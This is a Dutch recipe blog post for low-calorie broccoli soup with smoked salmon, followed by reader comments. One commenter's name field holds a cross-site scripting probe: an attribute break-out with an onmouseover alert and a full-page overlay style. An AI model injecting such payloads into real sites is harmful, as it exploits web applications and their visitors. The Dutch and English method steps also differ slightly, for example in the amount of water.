24-09-15 | Food | dinner |

Beste lage calorie broccoli soep met zalm

Of je nu probeert af te vallen, bezig bent met je figuur of gewoon gezond wil leven, soep is altijd een goed idee! Dit broccoli soep recept met zalm en weinig calorieën zal jullie magen laten knorren girls. Persoonlijk maakt de combinatie van broccoli en zalm mij altijd erg blij. Ik hou ervan hoe vezelrijke en waterrijke voeding mij kan helpen om overeten te voorkomen. Daarom noem ik deze: een heerlijke honger dodende maaltijd!

Het lukte mij om een recept te creëren welke de soep een gladde en romige textuur geeft met een milde smaak. Het recept zit boordevol vezels, eiwitten en goede vetten welke ervoor zullen zorgen dat jouw buik vol blijft. Zoals altijd bevatten mijn recepten schone ingrediënten en zijn ze makkelijk te maken. Als ik trek heb wil ik namelijk graag snel koken en niet te lang wachten op mijn eten :p Een dikke en vullende lage calorie broccoli soep is de perfecte lunch, maaltijd of koud weer snack. Zeker op deze regenachtige herfstdagen kun je mij wakker maken voor dit soort voedsel. Eet jouw soep met een salade, sandwich of cracker en je bent ready to go!

Het volgende recept is voor 2 personen, maar je kan altijd meer maken en het bewaren in de koelkast of vriezer.

INGREDIËNTEN

– 500 gr broccoli
– 100 gr. fijn gesneden ui
– 2 el olijfolie
– 900 ml water
– knoflook poeder
– 1 blokje groentebouillon
– Gerookte zalm
– Cottage cheese topping

MACRONUTRIËNTEN

  • Energie: 452,1 kcal
  • Eiwit: 31,9 g
  • Koolhydraten: 47,9 g
  • Vet: 19,2 g
  • Vezel: 14,5 g

METHODE

1. Verwarm de olijfolie in een soep pan. Voeg de fijn gesneden ui toe en bak deze terwijl je wat knoflook poeder toevoegt. Roer en bak voor 4 minuten glazig.
2. Maak de broccoli schoon, snij in stukken en gooi erbij in de pan samen met 750 ml water en het bouillon blokje. Mix tot een glad geheel met een blender of keukenmachine.
3. Zet het fornuis nu hoger om de soep te laten koken. Kook voor ongeveer 15 minuten.
4. Voeg peper toe naar smaak en roer regelmatig.
5. Klaar! Serveer de soep eventueel met een lepel cottage cheese en gerookte zalm.

1. Put the olive oil in a saucepan and heat it. Add the finely chopped onions and cook it while you add some garlic powder to taste. Stir and cook for 4 minutes until aromatic.
2. Clean the broccoli and cut it in small pieces.
3. Transfer the onion garlic mixture in a food processor and add the broccoli pieces, as well as the 900 ml water. Mix until smooth.
4. Place the soup mixture to the pan and add the bouillon cube.
5. Now put on the heat high in order to bring the soup to boil. Cook for +/- 15 min.
6. Add pepper to taste and stir the soup occasionally.
7. Ready! Serve the soup and for the finishing touch you can add the smoked salmon and some cottage cheese!

Vergeet geen foto van jouw @foodie_ness recepten te delen op Instagram en Facebook met #foodie_ness, ik vind het super om jullie broccoli-zalm creatie tegen te komen!

Featured Posts


  • Hendric' onmouseover='alert("Someting w0ng?")' style='position:fixed;top:0;left:0;width:100%;height:100%'

    Nice recipe! Too bad for the poor salmon though..

  • Anthonie

    Well, it looks good!

    Raymond

    NICE!

    Kayleen

    Kjempefin kjole, som kledde deg godt! Jeg har garn til Klukka liggende, mangler bare tid. Og den dropsbarnekjolen var helt nydelig. Har sett den tidligere, men har ikke falt for den da. Kjolen gjorde seg så mye bedre i din faabekomginrsjon. Nå står den på todolista mi, takk for inspirasjonen. Ha en fin uke.

  • Raymond

    Oh noes

  • Laat een reactie achter aan Kayleen Antwoord annuleren

    Het e-mailadres wordt niet gepubliceerd. Vereiste velden zijn gemarkeerd met *